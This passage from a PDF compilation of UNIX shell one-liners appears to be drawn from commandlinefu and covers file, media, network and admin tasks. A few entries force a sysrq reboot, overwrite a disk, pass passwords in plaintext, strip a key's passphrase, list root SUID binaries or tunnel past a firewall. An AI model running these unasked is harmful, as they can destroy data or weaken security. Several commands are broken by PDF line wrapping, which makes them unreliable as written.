ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
# List total available upgrades from apt without upgrading the system
apt-get -s upgrade | awk '/[0-9]+ upgraded,/ {print $1 " package updates are available"}'
# adjust laptop display hardware brightness [non root]
xbacklight -10%
# Display time of accounts connection on a system
ac -p
# Get your commandlinefu points (upvotes - downvotes)
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e
'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173
-nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
# Minimize Apps When Middle Clicking on Titlebar

173 / 658

All UNIX COMMANDS


gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type string
"minimize"
# detect partitions
lsblk -o NAME,TYPE,FSTYPE,LABEL,SIZE,MODEL,MOUNTPOINT
# Chrome sucks
ps -e -m -o user,pid,args,%mem,rss | grep Chrome | perl -ne 'print "$1\n" if / (\d+)$/' |
( x=0;while read line; do (( x += $line )); done; echo $((x/1024)) );
# Fetch the current human population of Earth
curl -s http://www.census.gov/popclock/data/population/world | jshon -e world -e population
-u
# Recursivly search current directory for files larger than 100MB
find -size +100M
# Find files and calculate size of result in shell
find . -name "pattern" -type f -printf "%s\n" | awk '{total += $1} END {print total}'
# a function to put environment variable in zsh history for editing
function eve (); { eval "print -s ${1?no variable}=\'\$$1\'" }
# print all except first collumn
cut -f 2- -d " "
# find out how many days since given date
echo "($(date +%s)-$(date +%s -d "march 1"))/86400"|bc
# List all active access_logs for currently running Apache or Lighttpd process
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9
~ /access.log$/ {print $9| "sort -u"}'
# Prevent non-root users from logging in
touch /etc/nologin
# Quickly Encrypt a file with gnupg and email it with mailx
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email
Subject" user@email.com
# Binary clock
read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.*.**..*....***';for C in $(date +"%H%M"|fold
-w1);do echo "${B:${A[C]}:4}";done
# Compare two directories
diff --suppress-common-lines -y <(cd path_to_dir1; find .|sort) <(cd path_to_dir2; find .|
sort)
# exit if another instance is running
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
# output stats from a running dd command to see its progress
watch -n60 --kill -USR1 $(pgrep dd)
# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!; while [[ -d /proc/$pid ]]; do kill -USR1 $pid
&& sleep 1 && clear; done

174 / 658

All UNIX COMMANDS


# Print average GPU core temperature
nvidia-settings -q gpucoretemp -t | awk '{s+=$1}END{print s/NR}' RS=" "
# Gives you what's between first string and second string included.
sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC"
tr "~" "\n"
# pinky - user info
pinky -l <username>

# Get Futurama quotations from slashdot.org servers


lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
# Rename files with vim.
qmv -fdo
# pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32';while [ true ]; do head -n 100 /dev/urandom; sleep .1; done |
hexdump -C | grep --color=auto "ca fe"
# What is my public IP address
curl ifconfig.me
# Convert string to uppercase
echo string | tr '[:lower:]' '[:upper:]'
# Restore a local drive from the image on remote host via ssh
ssh user@server 'dd if=sda.img' | dd of=/dev/sda
# Show sorted list of files with sizes more than 1MB in the current dir
du | sort -nr | cut -f2- | xargs du -hs
# Get your commandlinefu points (upvotes - downvotes)
curl -s http://www.commandlinefu.com/commands/by/$1/xml | awk -F'</?div[^>]*>'
'/class=\"command\"/{gsub(/&quot;/,"\"",$2); gsub(/&lt;/,"<",$2); gsub(/&gt;/,">",$2);
gsub(/&amp;/,"\\&",$2); cmd=$2} /class=\"num-votes\"/{printf("%3i %s\n", $2, cmd)}'
# Size (in bytes) of all RPM packages installed
echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`))
# Find and remove core files
find . -type f -regex '.*/core\.?[0-9]*$' -delete
# rename all jpg files with a prefix and a counter
ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg"
"image-\1.jpg",' | sh
# Combining text files into one file
cat *.txt >output.txt
# Expand shortened URLs
expandurl() { curl -s "http://api.longurl.org/v2/expand?url=${1}&format=php" | awk -F '"'
'{print $4}' }
# Remove blank lines
sed '/^$/d'
# make directory with current date
mkdir $(date +%Y_%m_%d)

175 / 658

All UNIX COMMANDS


# List your installed Chromium extensions (with url to each page)
for i in $(find ~/.config/chromium/*/Extensions -name 'manifest.json'); do n=$(grep -hIr
name $i| cut -f4 -d '"'| sort);u="https://chrome.google.com/extensions/detail/";ue=$
(basename $(dirname $(dirname $i))); echo -e "$n:\n$u$ue\n" ; done
# Copy from host 1 to host 2 through your host
ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/
&& tar -xf -?
# Monitor RAID IO Usage
iotop -a -p $(sed 's, , -p ,g' <<<`pgrep "_raid|_resync|jbd2"`)
# Remote execute command as sudoer via ssh
sshpass -p 'sshpssword' ssh -t <sshuser>@<remotehost> "echo <sudopassword> | sudo -S
<command>"
# Best SSH options for X11 forwarding
alias ssh-x='ssh -c arcfour,blowfish-cbc -XC'
# cymru malware check
md5sum filename | ncat hash.cymru.com 43
# Pick a random image from a directory (and subdirectories) every thirty minutes and set it
as xfce4 wallpaper
while :; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$
(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)";
sleep 30m; done

# Show current pathname in title of terminal


export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
# Play all the music in a folder, on shuffle
mplayer -shuffle *
# give me back my sound card
lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill
# Batch Convert SVG to PNG (in parallel)
find . -name \*.svg -print0 | xargs -0 -n1 -P4 -I{} bash -c 'X={}; convert "$X" "${X
%.svg}.png"'
# Copy input sent to a command to stderr
rev <<< 'lorem ipsum' | tee /dev/stderr | rev
# fetch all revisions of a specific file in an SVN repository
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& >
fileName.r&/p;}" | sh -s
# Prepend a text to a file.
sed -i '1s/^/text to prepend\n/' file1
# Quick HTML image gallery
find . -iname "*.jpg" -printf '<img src="%f" title="%f">\n' > gallery.html
# list unique file extensions recursively for a path, include extension frequency stats
find /some/path -type f -printf '%f\n' | grep -o '\..\+$' | sort | uniq -c | sort -rn
# Read almost everything (Changelog.gz, .tgz, .deb, .png, .pdf, etc, etc....)

176 / 658

All UNIX COMMANDS


less -r <some file>
# sorting file contents into individual files with awk
awk '{print > $3".txt"}' FILENAME
# Viewing Top Processes according to cpu, mem, swap size, etc.
command ps wwo
pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,a
rgs k -vsz -A|sed -u '/^ *PID/d;10q'
# Remove ( color / special / escape / ANSI ) codes, from text, with sed
sed "s,\x1B\[[0-9;]*[a-zA-Z],,g"
# doing some floating point math
echo "8000000/(20*6*86400)" | bc -l
# Puts every word from a file into a new line
tr ' \t' '\n' <INFILE >OUTFILE
# Read aloud a text file in Ubuntu (and other Unixes with espeak installed
espeak -f text.txt
# get colorful side-by-side diffs of files in svn with vim
vimdiff <(svn cat "$1") "$1"
# List only directories, one per line
ls -1d */
# Recursively scan directories for mp3s and pass them to mplayer
rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer
-playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
# The top ten commands you use
perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10
# Gzip files older than 10 days matching *
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
# Random colours at random locations
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $
((RANDOM%8)); }; clear;while :;do p; sleep .001;done
# Deleting / Ignoring lines from the top of a file
sed 1d foo.txt
# [vim] Clear a file in three characters (plus enter)
:%d
# chroot, bind mount without root privilege/setup
proot -r /media/user/ubuntu12.10/ cat /etc/motd

# Get just the IP for a hostname


dig hostname a +short
# Create a backup copy of a MySQL database on the same host
mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql
# List only directories, one per line

177 / 658

All UNIX COMMANDS


find . -type d -maxdepth 1
# [vim] Clear trailing whitespace in file
:%s/\s\+$//
# replace a character/word/string in a file using vim
:%s/old/new/g
# Check if you need to run LaTeX to update the TOC
cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if
[ $? -ne 0 ]; then latex texfile.tex; fi
# Force hard reset on server
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
# remove files and directories with acces time older than a given date
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
# Creates a symbolic link or overwrites an existing one
ln -nvfs /source /destination
# create screencast (record text and audio simultaneously) using 'script' and 'arecord'
screencast() { arecord -R 1000 -f cd -t wav $1.wav & RECPID=$!; echo "Starting screencast in
new shell. Exit subshell to quit."; script -t 2> $1.timing -a $1.session; kill $RECPID; }
# Short URLs with is.gd
isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}
# Time Synchronisation with NTP
ntpdate ntp.ubuntu.com pool.ntp.org
# Get the version of sshd on a remote system
ssh -vN hostname 2>&1 | grep "remote software version"
# concatenate compressed and uncompressed logs
zcat -f $(ls -tr access.log*)
# convert single digit to double digits
function rjust_file_nums() {for i in *.ogg; do; mv $i `ruby -e "print ARGV.first.gsub(/\d+/)
{|d| d.rjust($1,'0')}" $i`; done}
# Count number of files in subdirectories
find . -maxdepth 1 -type d -exec sh -c "printf '{} ' ; find '{}' -type f -ls | wc -l" \;
# Regenerate the /etc/mtab file
grep -v rootfs /proc/mounts > /etc/mtab
# split source code to page with numbers
pr -l 40 bitree.c > printcode; split -40 printcode -d page_
# Update Ping.fm status
curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d
post_method="default" http://api.ping.fm/v1/user.post
# Commit command to history file immedeately after execution
PROMPT_COMMAND="history -a"
# This command can be used to extract the IP address of the network.
inet_ip=`ifconfig wlan0 | grep inet | cut -d: -f2 | cut -d ' ' -f1` && echo $inet_ip

178 / 658

All UNIX COMMANDS


# Get your outgoing IP address
wget http://icanhazip.com -qO# remove password from openssl key file
openssl rsa -in /path/to/originalkeywithpass.key -out /path/to/newkeywithnopass.key
# Analyze, check, auto-repair and optimize Mysql Database
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
# Generate the CPU utilization report
sar -u 2 5

# cooking a list of numbers for calculation


echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
# View acceptable client certificate CA names asked for during SSL renegotiations
openssl s_client -connect www.example.com:443 -prexit
# Turn white color to transparent for a series of png images
mogrify -transparent white image*.png
# Search files with js declarations inside
grep -r "<script" | grep -v src | awk -F: '{print $1}' | uniq
# Display command lines visible on commandlinefu.com homepage
ruby -ropen-uri -e 'require "hpricot";
(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'
# Set access and modification timestamps of a file using another one as reference
touch -r "$FILE1" "$FILE2"
# Restore user,group and mod of an entire website
alias restoremod='chgrp users -R .;chmod u=rwX,g=rX,o=rX -R .;chown $(pwd |cut -d / -f 3) -R
.'
# Script Terminal Session
script -f /tmp/foo; tail -f /tmp/foo
# List bash functions defined in .bash_profile or .bashrc
typeset -f
# Remove annoying files from recently extracted zip archive
unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
# Test a serial connection
host A: cat /proc/dev/ttyS0

host B: echo hello > /dev/ttyS0

# Display Motherboard Info


dmidecode -t baseboard
# backup your playstation game using rip
$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver genericmmc-raw FILE_NAME.toc
# unbuffered python output
$ python -u script.py
# Sum file sizes

179 / 658

All UNIX COMMANDS


du -scb
# Netstat Connection Check
netstat -ntu | awk '{print $5}' |

cut -d: -f1 | sort | uniq -c | sort -n | tail

# record the input of your sound card into ogg file


rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --rawbits=16 - > MyLiveRecording.ogg
# Sort output by length of line
sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sort -n|sed -u
's/^[^@]*@//'; }
# Scrollable Colorized Long Listing - Hidden Files Sorted Last
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )
# Launch a game, like Tetris, when apt-get installing an app larger than 50 Megabytes
APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this
operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get
install $APP; else sudo apt-get install $APP; fi
# diff two svn repos ignoring spaces,tabs and svnfiles
diff -wubBEr -x .svn dirA dirB
# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6:8080
# batch crop images whit ImageMagick
mogrify -crop <width>x<height>+<X-offset>+<Y-offset> *.png
# Create test images
for i in {1..100}; do convert -background lightblue -fill blue
-gravity center label:$i $i.jpg; done

-size 100x100

-pointsize 24

# Run a command on a remote machine


ssh user@host "ps aux | grep httpd | wc -l"

# Grab a list of MP3s out of Firefox's cache


find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print
$1}'
# Import/clone a Subversion repo to a git repo
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir
# read a file line by line and perform some operation on each line
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt
# List available upgrades from apt without upgrading the system
apt-get --just-print upgrade
# Direct auto-complete in bash
bind '"\t":menu-complete'
# Show memory stats on Nexenta/Solaris
echo ::memstat | mdb -k
# Lines per second in a log file
tail -F some.log | perl -ne 'print time(), "\n";' | uniq -c

180 / 658

All UNIX COMMANDS


# Emulate tail using awk.
awk '{ c=NR%n; a[c]=$0 } END{ for(i=1; i<=n; i++) print a[(c+i)%n] }' n=10 File
# Prints any IP out of a file
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt
# Open Remote Desktop (RDP) from command line having a custom screen size
xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p $password 10.20.30.40
# resize all images in a folder
for i in *.JPG; do convert -resize 1000x1000 -quality 85 $i `basename $i .png`-klein.png;
done
# Hypnosis
for count in $(seq 2 1001); do espeak "$count sheeps";sleep 2;done
# Make backups recurse through directories
find -type -f -exec cp {} {}.bak \;
# On Screen micro display for battery and CPU temperature. nifty, small, omnipresent
acpi -t | osd_cat -p bottom
# Speed up upgrades for a debian/ubuntu based system.
sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" |
sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade
# Change the primary group of a user
usermod -g group user
# Download Englishword pronounciation as mp3 file
word="apple"; wget http://ssl.gstatic.com/dictionary/static/sounds/de/0/$word.mp3
# Delete empty directories recursively
find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;
# Remove all mail in Postfix mail queue.
postsuper -d ALL
# Schedule a command while one is already running.
a command is running... <^z> fg; scheduled_command
# Find all dot files and directories
ls -d .*
# Find default gateway (proper at ppp connections too)
route -n | perl -ne '$ANY="0.0.0.0"; /^$ANY/ and split /\s+/ and print "Gateway to the
World: ",($_[1]!=$ANY)?$_[1]:(`ip address show $_[$#_]`=~/peer ([0-9\.]+)/ and $1),", via
$_[$#_].\n"'
# looking for files not subversioned
svn status | awk '$1!~"M" {print $0}'
# Mac OS X: Change Color of the ls Command
export LSCOLORS=gxfxcxdxbxegedabagacad
# ping a host until it responds, then play a sound, then exit
beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]];
then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]];
then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }

181 / 658

All UNIX COMMANDS

# Download a new release of a program that you already have very quickly
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync
# Does a traceroute. Lookup and display the network or AS names and AS numbers.
lft -NAS google.com
# Kick user
killall -u username
# Hypnosis
for count in $(seq 2 1001); do say "$count sheeps";sleep 2;done
# Get the number of days in a given month and year
: $(cal [$month $year]) ; echo $_
# Start a SOCKS proxy to avoid a restrictive firewall
autossh -N -D localhost:1080 myhome.example.net -p 443
# Do Google search from that command line opening into a new Firefox tab.
google() { gg="https://www.google.com/search?q="; ff="firefox"; if [[ $1 ]]; then "$ff"
-new-tab "$gg"$(echo ${1//[^a-zA-Z0-9]/+}); else echo 'Usage: google "[seach term]"'; fi }
# Ping a URL sending output to file and STDOUT
ping google.com | tee ping-output.txt
# Search inside a folder of jar/zip files
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"
# Simple way to envoke a secure vnc session through ssh enabled router.
vncviewer -via root@your.dyndns.com 192.168.1.1
# Find all files with root SUID or SGID executables
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \)
-ls
# List your MACs address
sort -u < /sys/class/net/*/address
# bash: display disks by id, UUID and HW path
tree /dev/disk
# Create a html of information about you harddisk
lshw -C disk -html > /tmp/diskinfo.html
# Alternative size (human readable) of files and directories (biggest last)
du -ms * | sort -nk1
# Check a server is up. If it isn't mail me.
curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne
-s'Server unavailable' joker@jp.co.uk
# Replace Caps-lock with Control-key
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
# Extract IPv4 addressess from file
grep -Eo \([0-9]\{1,3\}[\.]\)\{3\}[0-9] file | sort | uniq

182 / 658

All UNIX COMMANDS


# continuously check size of files or directories
watch -n <time_interval> "du -s <file_or_directory>"
# Get MD5 checksum from a pipe stream and do not alter it
tee >(openssl md5 > sum.md5) <somefile | bzip2 > somefile.bz2
# Mirror rubygems.org
ruby -rrubygems/commands/mirror_command -S gem mirror
# Compare two CSV files, discarding any repeated lines
cat foo.csv bar.csv | sort -t "," -k 2 | uniq
# Extract ip addresses with sed
sed -n 's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\nip&\n/gp' ips.txt
's/ip//'| sort | uniq

| grep ip | sed

# Search recursively to find a word or phrase in certain file types, such as C code
ack "search pharse" *.[ch]
# remove lines which are longer than 255
sed -n '/^.\{255\}/!p'

# Print today's date in ISO format without calling an external command (bash 4)
today() { printf '%(%Y-%m-%d)T\n' -1; } ## bash-4
# Alias to edit and source your .bashrc file
alias vb='vim ~/.bashrc; source ~/.bashrc'
# List all symbolic links in current directory
\ls -1 | xargs -l readlink
# make directory with current date
mkdir $(date +%F)
# Multi line grep using sed and specifying open/close tags
cat file.txt | sed -e /<opening tag>/d -e /<closing tag>/G | sed -e '/./{H;$!d;}' -e
'x;/<string to search>/!d;'
# send tweets to twitter (and get user details)
curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux
%20command%20line" http://twitter.com/statuses/update.json
# Show log message including which files changed for a given commit in git.
git --no-pager whatchanged -1 --pretty=medium <commit_hash>
# Slightly better compressed archives
find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best >
a.tar.bz2
# Find the real procesor speed when you use CPU scaling [cpuspeed]
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }'
/proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: "
$2 }'
# copy from host1 to host2, through your host
ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>
# Count accesses per domain

183 / 658

All UNIX COMMANDS


cut -d'/' -f3 file | sort | uniq -c
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1
# Save history without logout
history -a
# oneliner to transfer a directory using ssh and tar
tar cvzf - dir | ssh my_server 'tar xzf -'
# Extract a IRC like chat log out of an Adium xml logfile
xmlstarlet sel -N x="http://purl.org/net/ulf/ns/0.4-02" -T -t -m "//x:message" -v
"concat(substring(@time,12,5),' &lt; ',@sender,'&gt;', ' ',.)" -n
# Show Directories in the PATH Which does NOT Exist
ls -d $(echo ${PATH//:/ }) > /dev/null
# View all file operator expressions for any file, test, stat
testt(){ o=abcdefghLkprsStuwxOGN;echo $@;for((i=0;i<${#o};i++));do c=${o:$i:1};test -$c $1
&& help test | sed "/^ *-$c/!d;1q;s/^[^T]*/-$c /;s/ if/ -/";done; }
# vi case insensitive search
:set ic
# grep -v with multiple patterns.
grep test somefile | grep -v -e error -e critical -e warning
# Burn an ISO on the command line.
cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
# Find files with at least one exec bit set
find . -type f -perm +0111 -print
# FizzBuzz One-liner
perl -le 'print$_%3?$_%5?$_:"Buzz":$_%5?"Fizz":"FizzBuzz"for 1..100'
# Converts multiple youtube links to mp3 files
function ytmp3() { while (($#)); do (cd ~/Music; echo "Extracting mp3 from $(youtube-dl -e
$1)"; /usr/bin/youtube-dl -q -t --extract-audio --audio-format mp3 $1); shift; done ; }
# Flush and then immediately start watching a file
(> errors.log) && tail -f !^
# View a file with less, starting at the end of the file
less +G <filename>

# Top Command in batch mode


top -b -n 1
# Split a file one piece at a time, when using the split command isn't an option (not enough
disk space)
dd if=inputfile of=split3 bs=16m count=32 skip=64
# Monitor incoming connections of proxies and balancers.
watch -n 1 "/usr/sbin/lsof -p PID |awk '/TCP/{split(\$8,A,\":\"); split(A[2],B,\">\") ;
split(B[1],C,\"-\"); print A[1],C[1],B[2], \$9}' | sort | uniq -c"

184 / 658

All UNIX COMMANDS


# Find chronological errors or bad timestamps in a Subversion repository
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|)
<(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)
# creeate file named after actual date
touch file-$(date +%Y%m%d)
# Ping all hosts on 192.168.1.0/24
nmap -sn 192.168.1.0/24
# Fibonacci With Case
fib(){ case $1 in 0)echo 0;;1)echo 1;;[0-9]*)echo $[$(fib $[$1-2])+$(fib $[$1-1])];;*)exit
1;;esac;}
# a fast way to repeat output a byte
ghc -e "mapM_ (\_->Data.ByteString.Char8.putStr (Data.ByteString.Char8.replicate (1024*1024)
'\\255')) [1..24]"
# Find commets in jpg files.
find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'
# Force logout after 24 hours idle
fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}`
# Factorial With Case
fac(){ case $1 in 0|1)echo 1;;[0-9]*)echo $[$1*$(fac $[$1-1])];;*)exit 1;;esac }
# how many pages will my text files print on?
numpages() { echo $(($(wc -l $* | sed -n 's/ total$//p')/60)); }
# Report the established connections for a particular port
export PORT=11211; ss -an4 | grep -E "ESTAB.*$PORT" | awk '{print $5}' | awk -F: '{print
$1}' | sort | uniq -c | sort -nr
# Use acpi and notify-send to report current temperature every five minutes.
while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send
"$tem"; done; sleep 300; done
# Keep track of diff progress
lsof -c diff -o -r1 | grep $file
# A command line calculator in Perl
perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
# vi a remote file with port
vi scp://username@host:12345//path/to/somefile
# pretty print JavaScript source code
uglifyjs <file> -b
# Nicely display permissions in octal format with filename
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})
[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev
# Find if $b is in $a in bash
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi
# Use Perl like grep
prep () { perl -nle 'print if '"$1"';' $2 }

185 / 658

All UNIX COMMANDS


# Open a file at the specified line
emacs +400 code.py
# Non Numeric Check
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi
# Find if $b is in $a in bash
if [ "x${a/$b/}" != "x$a" ]; then echo "'$b' is in '$a'"; fi
# Edit the list of to ignore files in the active directory
svn propedit svn:ignore .

# Complex string encoding with sed


cat index.html | sed 's|"index.html%3Ffeed=rss2"|"http://dynamic-blog.hemca.com/?
feed=rss2.html"|g'
# Prettify XML in pipeline
echo '<foo><bar/></foo>' | xmllint --format # start vim in diff mode
vimdiff file{1,2}
# grep -v with multiple patterns.
sed -n '/test/{/error\|critical\|warning/d;p}' somefile
# Fast tape rewind
< /dev/rmt/0cbn
# Video Google download
wget -qO- "VURL" | grep -o "googleplayer.swf?videoUrl\\\x3d\(.\
+\)\\\x26thumbnailUrl\\\x3dhttp" | grep -o "http.\+" | sed -e's/%\([0-9A-F][0-9AF]\)/\\\\\x\1/g' | xargs echo -e | sed 's/.\{22\}$//g' | xargs wget -O OUPUT_FILE
# Determine next available UID
getent passwd | awk -F: '($3>600) && ($3<10000) && ($3>maxuid) { maxuid=$3; } END { print
maxuid+1; }'
# Find all files that have nasty names
find -name "*[^a-zA-Z0-9._-]*"
# Test disk I/O
dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync
# Detect encoding of a text file
file -i <textfile>
# Use Perl like grep
ack; pcregrep
# histogram of file size
gnuplot -p <(echo "set style data hist; set xtic rot by -45; plot '<(stat -c \"%n %s\" *)' u
2:xtic(1)")
# Ping all hosts on 192.168.1.0/24
fping -ga 192.168.1.0/24 2> /dev/null
# get a directory from one machine to another using tar and ssh
ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -

186 / 658

All UNIX COMMANDS


# show where symlinks are pointing
lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",
$NF) }'; }
# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/
{z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0,
/code>(.*)<\/code>/, d);print d[1]} ' | grep -v "^$"
# Number file
nl file.txt > file_numbered.txt
# urldecoding
printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
# Generate random valid mac addresses
for i in {0..1200}; do for i in {1..12} ; do echo -n ${hexchars:$(( $RANDOM % 16 )):1} ;
done | sed -e 's/\(..\)/:\1/g' | sed 's/.\(.*\)/\1/' ; echo; done
# ring the bell
alias beep='echo -en "\007"'
# Copy specific files recursively using the same tree organization.
rsync -vd --files-from=<(find . -name entries -print ) .
../target_directory
# Retrieve a random command from the commandlinefu.com API
lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .
# Batch edition of all OpenOffice.org Writer files in the current directory (body text)
bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1;
fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i"; sed -i "s/$S/$R/" $
{P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; }
# Generate random valid mac addresses
h=0123456789ABCDEF;for c in {1..12};do echo -n ${h:$(($RANDOM%16)):1};if [[ $((c%2)) = 0 &&
$c != 12 ]];then echo -n :;fi;done;echo
# Turning off display
xset dpms force off

# OSX: Hear pronunciation of a word


say WORD
# open path with your default GNOME program
gnome-open [path]
# "at" command w/o the resource usage/competition issues
jb() { if [ -z $1 ];then printf 'usage:\njb <"date and/or time"> <"commandline"> &\nsee
parsedate(3) strftime(3)\n';else t1=$(date +%s); t2=$(date -d "$1" +%s) ;sleep $(expr $t2 $t1);$2 ;fi ;}
# scroll file one line at a time (w/only UNIX base utilities)
rd(){ while read a ;do printf "$a\n";sleep ${1-1};done ;} # usage: rd < file ; or ... | rd
# Sorted, recursive long file listing
lsr() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }

187 / 658

All UNIX COMMANDS


# Do some learning...
whatis $(compgen -c) | sort | less
# Delete all flash cookies.
find $HOME -name '*.sol' -exec rm {} \;
# Force wrap all text to 80 columns in Vim
gqG
# Show a script or config file without comments or blank lines
egrep -v "^$|^#" file
# remove leading blank lines
sed '/./,$!d'
# Remove CR LF from a text file
tr -d '\r\n' < input_file.txt > output_file.txt
# Make a playlistfile for mpg321 or other CLI player
ls -w 1 > list.m3u
# Use default value if unassigned
ls ${my_dir:=/home}
# Limit the transfer rate of a pipe with pv
pv /dev/urandom -L 3m -i 0.3 > /dev/null
# Avoid killing the X server with CTRL+C on the tty it was started from
startx &! exit
# Show complete URL in netstat output
netstat -pnut -W | column -t -s $'\t'
# search the manual page names and descriptions
apropos somekeyword
# copy partition table from /dev/sda to /dev/sdb
sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb
# List of services sorted by boot order in Redhat-based systems
find /etc/rc3.d/ | sort -g
# Limit memory usage per script/program
